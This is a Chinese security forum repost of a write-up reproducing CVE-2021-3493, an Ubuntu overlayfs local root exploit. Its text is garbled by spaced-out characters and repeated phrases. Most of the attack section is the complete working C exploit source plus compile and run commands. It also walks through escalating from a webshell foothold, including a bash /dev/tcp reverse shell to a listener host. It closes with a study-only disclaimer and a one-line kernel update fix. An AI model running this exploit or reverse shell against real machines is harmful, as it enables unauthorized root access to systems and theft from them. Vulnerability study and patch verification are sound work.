搜索

[7576] 2021-04-24_漏洞复现CVE-2021-3493Ubuntu内核提权

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-17
2021-04-24_漏洞复现CVE-2021-3493Ubuntu内核提权 漏 洞 复 现   |   C V E - 2 0 2 1 - 3 4 9 3   U b u n t u 内 核 提 权 原 创   s p a c e m a n   F 1 2 s e c   2 0 2 1 - 0 4 - 2 4 收 录 于 话 题   # 漏 洞 复 现   , 1 1 个 前 言 前 言 “ 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ” 漏 洞 背 景 漏 洞 背 景 “ U b u n t u   一 些 版 本 存 在 本 地 用 户 提 权 至 一 些 版 本 存 在 本 地 用 户 提 权 至 r o o t 权 限 。 漏 洞 是 权 限 。 漏 洞 是 L i n u x 内 核 中 内 核 中 o v e r l a y f s 文 件 系 统 中 的 文 件 系 统 中 的 U b u n t u 特 定 问 题 ， 在 该 问 题 中 ， 它 未 正 确 特 定 问 题 ， 在 该 问 题 中 ， 它 未 正 确 验 证 关 于 用 户 名 称 空 间 的 文 件 系 统 功 能 的 应 用 程 序 。 由 于 验 证 关 于 用 户 名 称 空 间 的 文 件 系 统 功 能 的 应 用 程 序 。 由 于 U b u n t u 附 带 了 一 个 允 许 非 特 权 的 附 带 了 一 个 允 许 非 特 权 的 o v e r l a y f s 挂 载 的 补 丁 ， 因 此 本 地 攻 挂 载 的 补 丁 ， 因 此 本 地 攻 击 者 可 以 使 用 它 来 获 得 更 高 的 特 权 。 击 者 可 以 使 用 它 来 获 得 更 高 的 特 权 。 ” 影 响 版 本 影 响 版 本 “ U b u n t u   2 0 . 1 0 U b u n t u   2 0 . 0 4   L T S U b u n t u   1 8 . 0 4   L T S U b u n t u   1 6 . 0 4   L T S U b u n t u   1 4 . 0 4   E S M ” 漏 洞 复 现 漏 洞 复 现 “ 测 试 环 境 ： 测 试 环 境 ： U b u n t u   1 6 . 0 4   L T S   g c c 环 境 环 境 E X P 文 件 内 容 文 件 内 容
E X P 下 载 地 址 ： 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / b r i s k e t s / C V E - 2 0 2 1 - 3 4 9 3 # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   & l t ; s t d i o . h > # i n c l u d e   & l t ; s t d l i b . h > # i n c l u d e   & l t ; s t r i n g . h > # i n c l u d e   & l t ; u n i s t d . h > # i n c l u d e   & l t ; f c n t l . h > # i n c l u d e   & l t ; e r r . h > # i n c l u d e   & l t ; e r r n o . h > # i n c l u d e   & l t ; s c h e d . h > # i n c l u d e   & l t ; s y s / t y p e s . h > # i n c l u d e   & l t ; s y s / s t a t . h > # i n c l u d e   & l t ; s y s / w a i t . h > # i n c l u d e   & l t ; s y s / m o u n t . h > / / # i n c l u d e   & l t ; a t t r / x a t t r . h > / / # i n c l u d e   & l t ; s y s / x a t t r . h > i n t   s e t x a t t r ( c o n s t   c h a r   * p a t h ,   c o n s t   c h a r   * n a m e ,   c o n s t   v o i d   * v a l u e ,   s i z e _ t   s i z e ,   i n t   f l a g s ) ; # d e f i n e   D I R _ B A S E         " . / o v l c a p " # d e f i n e   D I R _ W O R K         D I R _ B A S E   " / w o r k " # d e f i n e   D I R _ L O W E R       D I R _ B A S E   " / l o w e r " # d e f i n e   D I R _ U P P E R       D I R _ B A S E   " / u p p e r " # d e f i n e   D I R _ M E R G E       D I R _ B A S E   " / m e r g e " # d e f i n e   B I N _ M E R G E       D I R _ M E R G E   " / m a g i c " # d e f i n e   B I N _ U P P E R       D I R _ U P P E R   " / m a g i c " s t a t i c   v o i d   x m k d i r ( c o n s t   c h a r   * p a t h ,   m o d e _ t   m o d e ) {         i f   ( m k d i r ( p a t h ,   m o d e )   = =   - 1   & a m p ; & a m p ;   e r r n o   ! =   E E X I S T )                 e r r ( 1 ,   " m k d i r   % s " ,   p a t h ) ; } s t a t i c   v o i d   x w r i t e f i l e ( c o n s t   c h a r   * p a t h ,   c o n s t   c h a r   * d a t a ) {         i n t   f d   =   o p e n ( p a t h ,   O _ W R O N L Y ) ;         i f   ( f d   = =   - 1 )                 e r r ( 1 ,   " o p e n   % s " ,   p a t h ) ;         s s i z e _ t   l e n   =   ( s s i z e _ t )   s t r l e n ( d a t a ) ;         i f   ( w r i t e ( f d ,   d a t a ,   l e n )   ! =   l e n )                 e r r ( 1 ,   " w r i t e   % s " ,   p a t h ) ;         c l o s e ( f d ) ; } s t a t i c   v o i d   x c o p y f i l e ( c o n s t   c h a r   * s r c ,   c o n s t   c h a r   * d s t ,   m o d e _ t   m o d e ) {         i n t   f i ,   f o ;         i f   ( ( f i   =   o p e n ( s r c ,   O _ R D O N L Y ) )   = =   - 1 )                 e r r ( 1 ,   " o p e n   % s " ,   s r c ) ;
                e r r ( 1 ,   " o p e n   % s " ,   s r c ) ;         i f   ( ( f o   =   o p e n ( d s t ,   O _ W R O N L Y   |   O _ C R E A T ,   m o d e ) )   = =   - 1 )                 e r r ( 1 ,   " o p e n   % s " ,   d s t ) ;         c h a r   b u f [ 4 0 9 6 ] ;         s s i z e _ t   r d ,   w r ;         f o r   ( ; ; )   {                 r d   =   r e a d ( f i ,   b u f ,   s i z e o f ( b u f ) ) ;                 i f   ( r d   = =   0 )   {                         b r e a k ;                 }   e l s e   i f   ( r d   = =   - 1 )   {                         i f   ( e r r n o   = =   E I N T R )                                 c o n t i n u e ;                         e r r ( 1 ,   " r e a d   % s " ,   s r c ) ;                 }                 c h a r   * p   =   b u f ;                 w h i l e   ( r d   >   0 )   {                         w r   =   w r i t e ( f o ,   p ,   r d ) ;                         i f   ( w r   = =   - 1 )   {                                 i f   ( e r r n o   = =   E I N T R )                                         c o n t i n u e ;                                 e r r ( 1 ,   " w r i t e   % s " ,   d s t ) ;                         }                         p   + =   w r ;                         r d   - =   w r ;                 }         }         c l o s e ( f i ) ;         c l o s e ( f o ) ; } s t a t i c   i n t   e x p l o i t ( ) {         c h a r   b u f [ 4 0 9 6 ] ;         s p r i n t f ( b u f ,   " r m   - r f   ' % s / ' " ,   D I R _ B A S E ) ;         s y s t e m ( b u f ) ;         x m k d i r ( D I R _ B A S E ,   0 7 7 7 ) ;         x m k d i r ( D I R _ W O R K ,     0 7 7 7 ) ;         x m k d i r ( D I R _ L O W E R ,   0 7 7 7 ) ;         x m k d i r ( D I R _ U P P E R ,   0 7 7 7 ) ;         x m k d i r ( D I R _ M E R G E ,   0 7 7 7 ) ;         u i d _ t   u i d   =   g e t u i d ( ) ;         g i d _ t   g i d   =   g e t g i d ( ) ;         i f   ( u n s h a r e ( C L O N E _ N E W N S   |   C L O N E _ N E W U S E R )   = =   - 1 )                 e r r ( 1 ,   " u n s h a r e " ) ;         x w r i t e f i l e ( " / p r o c / s e l f / s e t g r o u p s " ,   " d e n y " ) ;         s p r i n t f ( b u f ,   " 0   % d   1 " ,   u i d ) ;
漏 洞 利 用 过 程 漏 洞 利 用 过 程 普 通 可 登 录 用 户 测 试 普 通 可 登 录 用 户 测 试         s p r i n t f ( b u f ,   " 0   % d   1 " ,   u i d ) ;         x w r i t e f i l e ( " / p r o c / s e l f / u i d _ m a p " ,   b u f ) ;         s p r i n t f ( b u f ,   " 0   % d   1 " ,   g i d ) ;         x w r i t e f i l e ( " / p r o c / s e l f / g i d _ m a p " ,   b u f ) ;         s p r i n t f ( b u f ,   " l o w e r d i r = % s , u p p e r d i r = % s , w o r k d i r = % s " ,   D I R _ L O W E R ,   D I R _ U P P E R ,   D I R _ W O R K ) ;         i f   ( m o u n t ( " o v e r l a y " ,   D I R _ M E R G E ,   " o v e r l a y " ,   0 ,   b u f )   = =   - 1 )                 e r r ( 1 ,   " m o u n t   % s " ,   D I R _ M E R G E ) ;         / /   a l l + e p         c h a r   c a p [ ]   =   " x 0 1 x 0 0 x 0 0 x 0 2 x f f x f f x f f x f f x 0 0 x 0 0 x 0 0 x 0 0 x f f x f f x f f x f f x 0 0 x 0 0 x 0 0 x 0 0 " ;         x c o p y f i l e ( " / p r o c / s e l f / e x e " ,   B I N _ M E R G E ,   0 7 7 7 ) ;         i f   ( s e t x a t t r ( B I N _ M E R G E ,   " s e c u r i t y . c a p a b i l i t y " ,   c a p ,   s i z e o f ( c a p )   -   1 ,   0 )   = =   - 1 )                 e r r ( 1 ,   " s e t x a t t r   % s " ,   B I N _ M E R G E ) ;         r e t u r n   0 ; } i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ) {         i f   ( s t r s t r ( a r g v [ 0 ] ,   " m a g i c " )   | |   ( a r g c   >   1   & a m p ; & a m p ;   ! s t r c m p ( a r g v [ 1 ] ,   " s h e l l " ) ) )   {                 s e t u i d ( 0 ) ;                 s e t g i d ( 0 ) ;                 e x e c l ( " / b i n / b a s h " ,   " / b i n / b a s h " ,   " - - n o r c " ,   " - - n o p r o f i l e " ,   " - i " ,   N U L L ) ;                 e r r ( 1 ,   " e x e c l   / b i n / b a s h " ) ;         }         p i d _ t   c h i l d   =   f o r k ( ) ;         i f   ( c h i l d   = =   - 1 )                 e r r ( 1 ,   " f o r k " ) ;         i f   ( c h i l d   = =   0 )   {                 _ e x i t ( e x p l o i t ( ) ) ;         }   e l s e   {                 w a i t p i d ( c h i l d ,   N U L L ,   0 ) ;         }         e x e c l ( B I N _ U P P E R ,   B I N _ U P P E R ,   " s h e l l " ,   N U L L ) ;         e r r ( 1 ,   " e x e c l   % s " ,   B I N _ U P P E R ) ; } g c c   e x p l o i t . c   - o   e x p l o i t c h m o d   + x   e x p l o i t . / e x p l o i t < / c o d e >
w w w 不 可 登 录 用 户 测 试 不 可 登 录 用 户 测 试 为 了 方 便 测 试 我 直 接 使 用 了 宝 塔 搭 建 了 为 了 方 便 测 试 我 直 接 使 用 了 宝 塔 搭 建 了 w e b 环 境 ， 模 拟 当 我 们 拿 到 环 境 ， 模 拟 当 我 们 拿 到 w w w 权 限 时 提 权 过 程 权 限 时 提 权 过 程 假 如 你 通 过 某 种 方 式 上 传 了 木 马 文 件 ， 可 以 使 用 蚁 剑 连 接 ， 将 假 如 你 通 过 某 种 方 式 上 传 了 木 马 文 件 ， 可 以 使 用 蚁 剑 连 接 ， 将 e x p 文 件 放 在 一 个 可 读 写 的 目 录 下 ， 即 权 限 为 文 件 放 在 一 个 可 读 写 的 目 录 下 ， 即 权 限 为 7 7 7 因 为 蚁 剑 的 虚 拟 终 端 只 是 因 为 蚁 剑 的 虚 拟 终 端 只 是 w e b s h e l l ， 并 非 我 们 所 需 的 ， 并 非 我 们 所 需 的 s h e l l ， 所 以 我 们 可 以 先 反 弹 一 个 ， 所 以 我 们 可 以 先 反 弹 一 个 b a s h k a l i 监 听 ， 然 后 使 用 监 听 ， 然 后 使 用 U b u n t u 反 弹 反 弹 s h e l l w w w 提 权 测 试 提 权 测 试 b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 3 0 . 5 / 3 3 4 4   0 > & 1 g c c   e x p l o i t . c   - o   e x p l o i t c h m o d   + x   e x p l o i t . / e x p l o i t
尝 试 使 用 了 阿 里 云 的 服 务 器 测 试 ， 测 试 失 败 ， 因 为 内 核 已 经 升 级 尝 试 使 用 了 阿 里 云 的 服 务 器 测 试 ， 测 试 失 败 ， 因 为 内 核 已 经 升 级 ” 防 御 建 议 防 御 建 议 “ 更 新 系 统 内 核 版 本 。 详 细 版 本 信 息 请 参 考 供 应 商 的 安 全 公 告 。 更 新 系 统 内 核 版 本 。 详 细 版 本 信 息 请 参 考 供 应 商 的 安 全 公 告 。 ” 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 那 就 长 按 二 维 码 ， 关 注 关 注 我 们 吧 ！ 我 们 吧 ！     实 战   |   简 单 的 s q l 注 入 与 脚 本 的 编 写     记 一 次 相 对 完 整 的 渗 透 测 试
    实 战   |   一 次 简 单 的 信 息 收 集 到 g e t s h e l l 的 过 程 右 下 角 求 赞 求 好 看 ， 喵 ~
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理